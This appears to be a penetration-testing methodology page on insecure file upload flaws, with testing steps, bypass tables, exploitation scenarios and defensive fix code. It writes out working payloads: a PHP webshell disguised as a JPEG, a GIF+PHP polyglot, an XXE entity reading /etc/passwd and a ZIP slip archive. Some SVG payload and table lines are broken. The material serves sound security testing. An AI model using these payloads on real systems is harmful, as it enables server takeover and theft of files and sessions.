Insecure File Upload
What Is Broken and Why
File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.
Key Signals
multipart/form-dataPOST endpoints accepting user files- File extensions accepted beyond images/docs (or poorly validated)
- Server echoes original filename in response or URL
- Files served from same origin as application (not separate CDN/domain)
- Archive extraction features (ZIP, tar)
- Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
- Image processing pipelines (ImageMagick, Pillow, libvips)
Methodology
- Upload a valid file; note the URL/path where it's stored and served.
- Check if files are served from same origin (XSS scope) or separate domain.
- Attempt extension bypass:
shell.php.jpg,shell.php%00.jpg,shell.jpg.php. - Modify
Content-Typetoimage/jpegwhile uploading a PHP/JSP file. - Prepend valid magic bytes to malicious content; attempt upload.
- Test SVG upload — inject
<svg> for XSS. - Test DOCX/XLSX upload with XXE payload inside XML.
- For archive extraction: craft ZIP with
../paths (ZIP slip). - Check if filename is reflected anywhere — test for path traversal and injection.
Payloads & Tools
# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg"
# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
# Null byte bypass (older systems)
filename: shell.php%00.jpg
# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd
# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>
Magic bytes reference:
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 |
|
| ZIP/DOCX | 50 4B 03 04 |
Bypass Techniques
| Attack | Technique |
|---|---|
| Extension bypass | shell.php.jpg — server splits on first dot |
| Double extension | shell.jpg.php — server uses last extension |
| Null byte | shell.php%00.jpg — older parsers truncate at null |
| MIME spoof | Content-Type: image/jpeg on PHP file |
| Magic byte prepend | Prefix file with valid JPEG/GIF header bytes |
| Polyglot | File valid as both JPEG and PHP simultaneously |
| SVG with JS | XML-based, browsers execute onload from same origin |
| XXE in Office | DOCX/XLSX are ZIP+XML; inject DTD in contained XML |
| ZIP slip | Archive paths containing ../ extract outside intended dir |
| Content-type sniff | Omit Content-Type; let browser sniff — bypass nosniff-less servers |
Exploitation Scenarios
Stored XSS via SVG:
Setup → Application accepts SVG avatar uploads, serves them from same origin.
Trigger → Upload SVG with <svg>.
Impact → Any user viewing the avatar triggers XSS; session tokens exfiltrated.
RCE via PHP upload:
Setup → PHP application accepts image uploads, validates only Content-Type header.
Trigger → Upload shell.php with Content-Type: image/jpeg; access via direct URL.
Impact → Remote command execution on server.
XXE via XLSX import: Setup → Application parses Excel files for data import. Trigger → Upload crafted XLSX with XXE payload in sheet XML referencing internal files. Impact → Server-side file read; possible SSRF to internal metadata endpoints.
False Positives
- Upload endpoints that store files outside webroot and never serve them directly — RCE risk is mitigated, but XXE/ZIP slip may still apply.
- Files renamed server-side to random UUIDs — original extension irrelevant for stored XSS but magic byte and content validation still matters.
Fix Patterns
# Validate magic bytes, not just extension
import magic
allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
detected = magic.from_buffer(file.read(2048), mime=True)
if detected not in allowed_mimes:
raise ValueError("Invalid file type")
# Always rename to UUID; never use original filename
import uuid, os
ext_map = {'image/jpeg': '.jpg', 'image/png': '.png'}
safe_name = str(uuid.uuid4()) + ext_map[detected]
Related Skills
XXE payloads embedded in DOCX/XLSX connect directly to [[xxe]]. SVG XSS from same-origin uploads is [[xss-stored]]. Path traversal in zip extraction is [[path-traversal]]. If the upload URL is fetched server-side, pivot to [[ssrf]].